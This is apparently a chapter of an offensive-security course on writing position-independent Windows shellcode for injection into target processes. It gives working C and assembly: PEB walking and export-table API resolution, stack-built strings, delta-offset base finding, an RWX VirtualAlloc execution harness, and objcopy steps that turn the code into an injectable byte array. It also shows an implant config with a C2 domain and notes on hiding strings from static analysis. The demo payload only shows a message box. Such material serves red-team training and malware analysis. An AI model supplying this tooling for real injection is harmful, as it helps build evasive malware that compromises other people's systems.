Position-Independent Code Principles
Shellcode gets injected at whatever address the target process has available. Code that only works at a specific address is worthless as shellcode. This chapter explains exactly what makes code position-dependent, how to eliminate every dependency on absolute addresses, and how to verify your code genuinely works from anywhere before you point it at a real target.
What Makes Normal Code Position-Dependent
When you compile a C program, the compiler generates code that refers to
things by their addresses. If a function calls another function, the
generated machine code contains either a relative or absolute reference
to that function's address. If a function accesses a global variable,
the code loads from that variable's address. If a function uses a string
literal, the code loads from the address where the linker placed that
string in the .rdata section.
All of these addresses are computed at link time, based on the assumption
that the binary will load at its preferred ImageBase. If you
inject that code somewhere else — at a different virtual address, in a
remote process — every one of those assumptions is wrong.
Compile-time layout (preferred ImageBase = 0x140000000):
┌─────────────────────────────────────────────────────────┐
│ 0x140001000 [.text] CALL 0x140001200 ; calls foo() │
│ 0x140001200 [.text] foo: ... │
│ 0x140003000 [.rdata] "Hello, world\0" │
│ 0x140004000 [.data] global_counter: 0 │
└─────────────────────────────────────────────────────────┘
After injection at a different address (e.g., 0x20000000):
┌─────────────────────────────────────────────────────────┐
│ 0x20000000 [your code, copied here] │
│ Still says: CALL 0x140001200 ← WRONG ADDRESS │
│ Still says: MOV RAX, [0x140003000] ← WRONG │
│ Still says: INC DWORD [0x140004000] ← WRONG │
└─────────────────────────────────────────────────────────┘
Result: access violations, jumps to garbage, silent data corruption.
The code crashes immediately or does something completely wrong.
There are three categories of absolute reference that break under injection:
- Call targets — absolute addresses in CALL instructions (less common on x64 which prefers relative calls, but still occurs via indirect calls through global function pointers)
- Data references — accessing global variables, string literals, or any data that the compiler placed at a fixed address in the binary's address space
- Import table calls — calls that go through the IAT, which doesn't exist in raw shellcode and points to a different address space in an injected PE before IAT fixup
x64 Is More PIC-Friendly Than x86
This is genuinely good news for modern shellcode development. The x64 architecture added RIP-relative addressing — the ability to access memory at an offset from the current instruction pointer. This means most data references in x64 code are automatically relative:
; x86 (32-bit) — absolute address in the instruction
MOV EAX, DWORD PTR [0x10003000] ; absolute — breaks when injected
; x64 — RIP-relative addressing
MOV EAX, DWORD PTR [RIP + 0x1234] ; relative to current IP — works anywhere
; the "+0x1234" is a compile-time constant
; offset to the data item
Modern compilers (both GCC and MSVC) automatically generate RIP-relative addressing for data access on x64. This means that a large fraction of what used to require manual PIC work on x86 is handled automatically on x64. But it doesn't cover everything. The remaining sources of position-dependency that you need to handle manually are:
- Calls to imported functions (through the IAT, which won't exist in injected shellcode)
- Global variables that store function pointers resolved at load time
- String literals stored in
.rdatathat your code accesses — even RIP-relative, the offset is computed from where the code is, so if you copy just the.textsection without the.rdatasection, those references break - Any x64 code path that happens to generate an absolute reference (less common but possible with certain compiler idioms)
The Four Rules of PIC Shellcode
Following these four rules produces shellcode that works at any address in any process without modification:
Rule 1: No imports
──────────────────────────────────────────────────────────────────
All functions must be resolved at runtime via PEB walk + export
directory parsing (Chapter 3). The IAT doesn't exist in shellcode.
Every external function is called through a local function pointer.
Rule 2: No global variables with non-constant values
──────────────────────────────────────────────────────────────────
Globals with non-trivial values reference addresses in the binary's
.data or .bss section. If those sections aren't mapped alongside
the .text section (which they often aren't in shellcode scenarios),
those references break. Keep state on the stack or in memory you
allocate at runtime. Initialize everything explicitly.
Rule 3: No string literals in .rdata
──────────────────────────────────────────────────────────────────
"kernel32.dll" stored as a string literal goes into .rdata.
If you copy only the .text section as shellcode, .rdata isn't
there — the reference breaks. Instead:
(a) Store strings inline on the stack (byte by byte)
(b) Build strings character-by-character at runtime
(c) Use compile-time XOR-encrypted strings decoded at runtime
(d) Or use API hashing to avoid strings entirely (Chapter 7)
Rule 4: Find your own base address when you need it
──────────────────────────────────────────────────────────────────
If your shellcode needs to reference data that's embedded within
itself (a config blob, embedded payload bytes), it must find its
own base address at runtime using the delta-offset technique.
You cannot use compile-time offsets without knowing your load address.
Inline Stack Strings — Eliminating .rdata References
Every string literal in C gets stored in the .rdata section.
To avoid this, you build the string on the stack at runtime. The compiler
generates stack-relative stores that work at any address.
// BAD: "kernel32.dll" goes into .rdata — broken in isolated shellcode
void bad_example(void) {
const char* dll = "kernel32.dll"; // .rdata reference
// ...
}
// GOOD: build the string on the stack — no .rdata
void good_example(void) {
char dll[14];
dll[0] = 'k'; dll[1] = 'e'; dll[2] = 'r'; dll[3] = 'n';
dll[4] = 'e'; dll[5] = 'l'; dll[6] = '3'; dll[7] = '2';
dll[8] = '.'; dll[9] = 'd'; dll[10] = 'l'; dll[11] = 'l';
dll[12] = '\0';
// dll is now stack-allocated, no .rdata dependency
// ...
}
This is verbose, but it produces exactly one instruction per character (a store to a stack slot). On x64, the compiler often optimizes multiple consecutive character stores into wider stores (DWORD or QWORD):
; What the compiler typically generates for the stack string:
; "kern" → stored as 0x6E72656B (little-endian 'k','e','r','n')
MOV DWORD PTR [RSP+0x00], 0x6E72656B ; "kern"
MOV DWORD PTR [RSP+0x04], 0x32336C65 ; "el32"
MOV DWORD PTR [RSP+0x08], 0x006C6C2E ; ".dll\0"
; All stack-relative — PIC, works anywhere
A cleaner approach for longer strings is a macro that generates these assignments:
// PUSH_STR macro: build a wide string on the stack
// Usage: PUSH_WSTR(buf, L"kernel32.dll")
// buf must be a WCHAR array large enough for the string
#define PUSH_STR(dst, str) do { \
const char _s[] = str; \
for (int _i = 0; _i <= sizeof(_s)-1; _i++) \
((char*)(dst))[_i] = _s[_i]; \
} while(0)
// Then in PIC shellcode:
void pic_example(void) {
char dll[14];
PUSH_STR(dll, "kernel32.dll");
// dll is on the stack, no .rdata
}
An even cleaner solution — which you'll build in Part 7 — is to encrypt all strings at compile time using a C++
constexpr XOR template,
then decrypt them to a stack buffer at runtime. This has the additional
advantage of hiding the strings from static analysis, not just from
PIC breakage. For now, stack strings are sufficient.
Finding Your Own Base Address — The Delta-Offset Pattern
Sometimes your shellcode needs to reference data embedded within itself — a configuration block, an embedded second stage, a key. Since it doesn't know where it's loaded, it can't use compile-time addresses to reach that data. It needs to find its own load address at runtime.
The classic technique, used in nearly all real-world shellcode, is the CALL/POP delta trick:
; x86 (32-bit) delta trick — classic form
get_base:
call next_instr ; push the address of next_instr onto the stack
next_instr:
pop ebx ; ebx = address of "next_instr" label (our current position)
sub ebx, (next_instr - image_start) ; subtract compile-time offset
; ebx now = image_start (our actual load address)
; Access embedded data using the base:
lea eax, [ebx + (my_data - image_start)] ; runtime address of my_data
; x64 version — cleaner because RIP is directly accessible
; In most x64 shellcode you skip the delta trick entirely for data
; because RIP-relative addressing handles it automatically.
; But if you need the image base explicitly:
get_rip:
lea rax, [rip + 0] ; rax = address of THIS instruction
; Subtract the compile-time offset from image_start to get image_start
In C, you can implement this with inline assembly:
// Get the current instruction pointer value in C (x64)
static inline void* get_rip(void) {
void* rip;
__asm__ volatile (
"lea %0, [rip]"
: "=r"(rip)
);
return rip;
}
// Example: shellcode that finds an embedded config block
// Layout: [shellcode code][config_block]
// compile-time offset of config_block from code start = OFFSET_TO_CONFIG
#define OFFSET_TO_CONFIG 0x200 // example: config is 512 bytes past code start
typedef struct {
DWORD sleep_time;
char c2_domain[64];
BYTE xor_key;
} Config;
void shellcode_entry(void) {
// Step 1: find our own code start
// The RIP value here is somewhere inside shellcode_entry.
// We use the function pointer itself as an approximation of the start.
// (In real shellcode compiled as a single translation unit, use a
// CALL/POP stub at the very start that stores the base accurately.)
BYTE* base = (BYTE*)shellcode_entry;
// Step 2: access the embedded config at a known offset from our base
Config* cfg = (Config*)(base + OFFSET_TO_CONFIG);
// Now use cfg->c2_domain, cfg->sleep_time, etc.
// All computed at runtime — no .rdata, no absolute addresses.
}
Using
(BYTE*)shellcode_entry gives you the address of the
function's first instruction, not necessarily the start of your entire
shellcode blob. If there's any prefix code (a trampoline, a header, prologue
stubs), the offset calculation will be wrong. The fully correct approach is
a dedicated CALL/POP stub at byte offset zero of the shellcode blob that
records the exact start address before jumping to the main body. This is
standard in any production shellcode. Part 2 (Shellcode Development) builds
the complete version.
Testing PIC Correctness — The Alloc and Run Harness
The only reliable way to verify that your code is genuinely PIC is to run it from a different address than it was compiled for. Here's the test harness: allocate a new region, copy the shellcode there, run it. If it works, it's PIC. If it crashes or produces wrong behavior, you have a position dependency to find.
// pic_test.c — harness for testing position-independent code
// Compile your PIC function separately as shellcode.bin, then test with this.
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
// For testing, we'll use a simple function as our "shellcode"
// In real use, you'd load shellcode.bin from a file or embed as a byte array
void target_func(void); // the function to test for PIC
int main(void) {
// Get the address and approximate size of the function
BYTE* func_start = (BYTE*)target_func;
// In practice, determine size from your build (symbols, objdump, etc.)
// Here we assume max 4096 bytes for the test
SIZE_T func_size = 4096;
printf("[*] Original function at: %p\n", func_start);
// Allocate a new region at a DIFFERENT address
BYTE* new_addr = (BYTE*)VirtualAlloc(
NULL, // let OS choose address
func_size,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE // RWX for the test
);
if (!new_addr) {
printf("[-] VirtualAlloc failed: %lu\n", GetLastError());
return 1;
}
printf("[*] Copied to new address: %p\n", new_addr);
printf("[*] Delta: 0x%llX bytes\n",
(ULONGLONG)(new_addr - func_start));
// Copy the function to the new address
memcpy(new_addr, func_start, func_size);
// Execute from the new address
printf("[*] Executing from new address...\n");
typedef void (*fn_t)(void);
fn_t relocated = (fn_t)new_addr;
relocated();
printf("[+] Execution completed successfully — code is PIC!\n");
VirtualFree(new_addr, 0, MEM_RELEASE);
return 0;
}
The critical test is the delta between the original and relocated addresses.
Make it large — ideally larger than the entire binary's SizeOfImage
— to ensure no accidental alignment rescues a broken absolute reference.
In practice, allocating at NULL and letting the OS pick an
address is sufficient, since the OS places allocations in a different region
than the loaded binary.
Diagnosing PIC Failures
When your relocated code crashes, attach x64dbg to the test harness and step through the execution from the new address. The crash will be at the first absolute reference. Common patterns:
Access violation at an address near 0x140001xxx
────────────────────────────────────────────────
Your code is trying to access something at the old ImageBase.
Cause: a string literal in .rdata, a global variable in .data,
or a call through a global function pointer initialized
at compile time.
Fix: Stack strings, remove globals, use local function pointers.
Access violation at a completely random-looking address
────────────────────────────────────────────────────────
Often a null pointer dereference because a function pointer that
should have been resolved is still NULL, or the PEB walk failed.
Cause: API resolution code not working (wrong PEB offset, wrong
module name comparison).
Fix: Step through the API resolution and verify each step.
CALL to an unexpected address
────────────────────────────────────────────────────────
The function you're calling is being invoked through a cached
pointer that still holds the old virtual address.
Cause: Stored function pointer initialized before relocation,
or a vtable reference (C++ virtual calls).
Fix: Resolve all function pointers after copying, not before.
Avoid C++ virtual dispatch in shellcode.
Works sometimes, crashes sometimes
────────────────────────────────────────────────────────
Timing or state issue. Often: a function that reads from .rdata
coincidentally gets readable memory there (the OS hasn't
protected it yet). Run the test 10 times — consistent passes
are much stronger evidence than 1-2 passes.
A Practical PIC Shellcode Skeleton
Combining everything from Chapters 2–5, here is the minimal PIC shellcode
skeleton you'll use as a starting point in Part 2. It contains no imports,
no string literals in .rdata, no global variables, finds its
own base, resolves all APIs at runtime, and runs correctly at any address:
// pic_skeleton.c — PIC shellcode skeleton
// Compile to a flat binary with objcopy or extract the .text section.
// All state is local. All strings are stack-built. All APIs are resolved.
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include "peb.h" // our PEB walk structures
// ── Forward declarations ───────────────────────────────────────────
static MY_PEB* get_peb_pic(void);
static void* find_module_pic(const WCHAR* name);
static void* get_export_pic(void* base, const char* func);
// ── All the API types we'll need ──────────────────────────────────
typedef HMODULE (WINAPI* fn_LoadLibraryA) (LPCSTR);
typedef FARPROC (WINAPI* fn_GetProcAddress)(HMODULE, LPCSTR);
typedef HANDLE (WINAPI* fn_CreateThread) (LPSECURITY_ATTRIBUTES,
SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
typedef void (WINAPI* fn_ExitProcess) (UINT);
typedef int (WINAPI* fn_MessageBoxA) (HWND, LPCSTR, LPCSTR, UINT);
// ── Shellcode entry point ─────────────────────────────────────────
void shellcode_main(void) {
// Step 1: Find kernel32 via PEB — no imports, no strings in .rdata
WCHAR k32_name[14];
k32_name[0]=L'k'; k32_name[1]=L'e'; k32_name[2]=L'r'; k32_name[3]=L'n';
k32_name[4]=L'e'; k32_name[5]=L'l'; k32_name[6]=L'3'; k32_name[7]=L'2';
k32_name[8]=L'.'; k32_name[9]=L'd'; k32_name[10]=L'l'; k32_name[11]=L'l';
k32_name[12]=L'\0';
void* k32 = find_module_pic(k32_name);
// Step 2: Resolve LoadLibrary and GetProcAddress from kernel32 exports
char ll_name[13];
ll_name[0]='L';ll_name[1]='o';ll_name[2]='a';ll_name[3]='d';
ll_name[4]='L';ll_name[5]='i';ll_name[6]='b';ll_name[7]='r';
ll_name[8]='a';ll_name[9]='r';ll_name[10]='y';ll_name[11]='A';
ll_name[12]='\0';
char gpa_name[15];
gpa_name[0]='G';gpa_name[1]='e';gpa_name[2]='t';gpa_name[3]='P';
gpa_name[4]='r';gpa_name[5]='o';gpa_name[6]='c';gpa_name[7]='A';
gpa_name[8]='d';gpa_name[9]='d';gpa_name[10]='r';gpa_name[11]='e';
gpa_name[12]='s';gpa_name[13]='s';gpa_name[14]='\0';
fn_LoadLibraryA pLoadLib = (fn_LoadLibraryA) get_export_pic(k32, ll_name);
fn_GetProcAddress pGetProc = (fn_GetProcAddress) get_export_pic(k32, gpa_name);
// Step 3: Load user32 and resolve MessageBoxA (all stack strings)
char u32_name[11];
u32_name[0]='u';u32_name[1]='s';u32_name[2]='e';u32_name[3]='r';
u32_name[4]='3';u32_name[5]='2';u32_name[6]='.';u32_name[7]='d';
u32_name[8]='l';u32_name[9]='l';u32_name[10]='\0';
HMODULE user32 = pLoadLib(u32_name);
char mb_name[12];
mb_name[0]='M';mb_name[1]='e';mb_name[2]='s';mb_name[3]='s';
mb_name[4]='a';mb_name[5]='g';mb_name[6]='e';mb_name[7]='B';
mb_name[8]='o';mb_name[9]='x';mb_name[10]='A';mb_name[11]='\0';
fn_MessageBoxA pMsgBox = (fn_MessageBoxA)pGetProc(user32, mb_name);
// Step 4: Build our message strings on the stack too
char msg[7];
msg[0]='I';msg[1]='t';msg[2]=' ';msg[3]='w';
msg[4]='o';msg[5]='r';msg[6]='\0'; // "It wor[ks]" — abbreviated for demo
char title[4];
title[0]='P';title[1]='I';title[2]='C';title[3]='\0';
// Step 5: Call — works from any address, in any process
pMsgBox(NULL, msg, title, 0);
// Step 6: Find and call ExitProcess
char ep_name[12];
ep_name[0]='E';ep_name[1]='x';ep_name[2]='i';ep_name[3]='t';
ep_name[4]='P';ep_name[5]='r';ep_name[6]='o';ep_name[7]='c';
ep_name[8]='e';ep_name[9]='s';ep_name[10]='s';ep_name[11]='\0';
fn_ExitProcess pExit = (fn_ExitProcess)get_export_pic(k32, ep_name);
pExit(0);
}
// ── PIC implementations of PEB walk helpers ───────────────────────
// (same logic as Chapter 3 but all state is local, no globals)
static MY_PEB* get_peb_pic(void) {
MY_PEB* p;
__asm__ volatile ("mov %%gs:0x60, %0" : "=r"(p));
return p;
}
static int wieq(WCHAR* a, USHORT len, const WCHAR* b) {
USHORT i=0, n=len/sizeof(WCHAR);
while(i<n&&b[i]){WCHAR ca=a[i],cb=b[i];
if(ca>='a'&&ca<='z')ca-=32;if(cb>='a'&&cb<='z')cb-=32;
if(ca!=cb)return 0;i++;}
return(i==n)&&!b[i];
}
static int aeq(const char* a, const char* b) {
while(*a&&*a==*b){a++;b++;} return *a==*b;
}
static void* find_module_pic(const WCHAR* name) {
MY_LIST_ENTRY* head=&get_peb_pic()->Ldr->InMemoryOrderModuleList;
MY_LIST_ENTRY* curr=head->Flink;
while(curr!=head){
MY_LDR_DATA_TABLE_ENTRY* e=(MY_LDR_DATA_TABLE_ENTRY*)(
(BYTE*)curr-offsetof(MY_LDR_DATA_TABLE_ENTRY,InMemoryOrderLinks));
if(e->BaseDllName.Buffer&&
wieq(e->BaseDllName.Buffer,e->BaseDllName.Length,name))
return e->DllBase;
curr=curr->Flink;
}
return NULL;
}
static void* get_export_pic(void* base, const char* func) {
BYTE* b=(BYTE*)base;
IMAGE_NT_HEADERS64* nt=(IMAGE_NT_HEADERS64*)(b+
((IMAGE_DOS_HEADER*)b)->e_lfanew);
DWORD erva=nt->OptionalHeader.DataDirectory[0].VirtualAddress;
if(!erva)return NULL;
IMAGE_EXPORT_DIRECTORY* ed=(IMAGE_EXPORT_DIRECTORY*)(b+erva);
DWORD* names=(DWORD*)(b+ed->AddressOfNames);
WORD* ords =(WORD*) (b+ed->AddressOfNameOrdinals);
DWORD* funcs=(DWORD*)(b+ed->AddressOfFunctions);
for(DWORD i=0;i<ed->NumberOfNames;i++)
if(aeq((char*)(b+names[i]),func))
return(void*)(b+funcs[ords[i]]);
return NULL;
}
Notice what this code has: local variables only, stack-built strings, PEB walk that uses no global state, export resolution that's entirely self-contained. This is what a PIC shellcode actually looks like before you start optimizing it for size (Part 2) or obfuscating strings (Part 7).
Extracting Raw Shellcode From a Compiled Binary
When you build a PIC C file, the result is a PE with a .text
section. To use it as raw shellcode (bytes you inject directly), you need
to extract just that section's content as a flat binary:
# Build the PIC code as an object file first
x86_64-w64-mingw32-gcc -Os -nostdlib -nodefaultlibs -fno-ident \
-fno-asynchronous-unwind-tables -ffunction-sections -fdata-sections \
-c -o pic_skeleton.o pic_skeleton.c
# Extract just the .text section as a flat binary
x86_64-w64-mingw32-objcopy -O binary \
--only-section=.text \
pic_skeleton.o shellcode.bin
# Verify the extraction
xxd shellcode.bin | head -4
# Should show your shellcode bytes starting with the function prologue
# Get the size
wc -c shellcode.bin
# Optional: convert to a C byte array for embedding
with open("shellcode.bin", "rb") as f:
data = f.read()
print(f"unsigned char shellcode[] = {{")
print(" " + ", ".join(f"0x{b:02X}" for b in data))
print(f"}};")
print(f"size_t shellcode_len = {len(data)};")
This byte array is your shellcode. Copy it into a VirtualAlloc
allocation in any process and call it — it runs your shellcode_main
function from wherever it lands in memory.
Questions & Answers
Does ASLR mean all code is already PIC?
No, and this is a common misconception. ASLR randomizes the base address of a PE at load time. But the Windows loader still applies the relocation table to fix absolute references before running any code. So a PE with relocations works under ASLR because the loader has fixed it up — not because the code is truly PIC. True PIC contains no absolute references to fix at all. Shellcode needs to be true PIC because when you inject it into a remote process, no relocation fixing happens — you just copy bytes and run them. The loader doesn't know about your injection.
Can I use C++ in PIC shellcode?
With care, yes. Templates, inline functions, and most C++ syntax work fine
because they don't introduce position dependencies. What you must avoid:
virtual functions (vtables are stored at absolute addresses in .rdata),
C++ exceptions (require unwind tables and CRT helpers), global C++ objects
with constructors (constructors run before your entry point, can't work
without CRT), and std::string / STL containers (allocate heap
via CRT, depend on global state). Practical shellcode usually stays in C with
template helpers for compile-time operations like string encryption.
What is the difference between PIC and PIE?
PIC (Position-Independent Code) is a property of machine code — it works
regardless of load address. PIE (Position-Independent Executable) is a
compile flag that tells the compiler and linker to generate PIC for an EXE
(as opposed to a DLL, which is almost always PIC). On Linux, -fPIE
produces a PIE executable that ASLR can randomize. On Windows, the equivalent
is /DYNAMICBASE (MSVC) which enables ASLR — but Windows ASLR
works via relocations, not true PIC. The term is used loosely: when offensive
developers say their shellcode is "PIC," they mean it contains no absolute
address references and can run from any location.
Why do the stack strings look so ugly? Is there a better way?
The manual character-by-character assignment is ugly but it's what you'll
see in a lot of real shellcode — it's the most explicit and easiest to
debug. In Part 7 you'll build a C++ constexpr XOR cipher
that encrypts strings at compile time and decrypts them to a stack buffer
at runtime. The result looks like DECRYPT(buf, ENCRYPTED("kernel32.dll"))
— clean to write, decrypts to the stack automatically, and hides the string
from static analysis as a bonus. For now, the verbose form is correct and
works fine; it's just not how production code is written once you have
the encryption infrastructure in place.
The skeleton's string-building code is enormous. Does this matter for shellcode size?
It matters but is manageable. The skeleton above spends most of its bytes
on string construction. The real answer is API hashing (Chapter 7): instead
of building "GetProcAddress" as a stack string and doing a name
comparison, you compute a hash of each export name while walking the export
directory and compare it against a hardcoded 32-bit constant. The hash
check is a single integer comparison — no string, no character-by-character
building. A complete shellcode bootstrap that resolves a dozen APIs via hashing
typically fits in under 300 bytes. The stack string approach is used here
for clarity; hashing is what you use when size matters.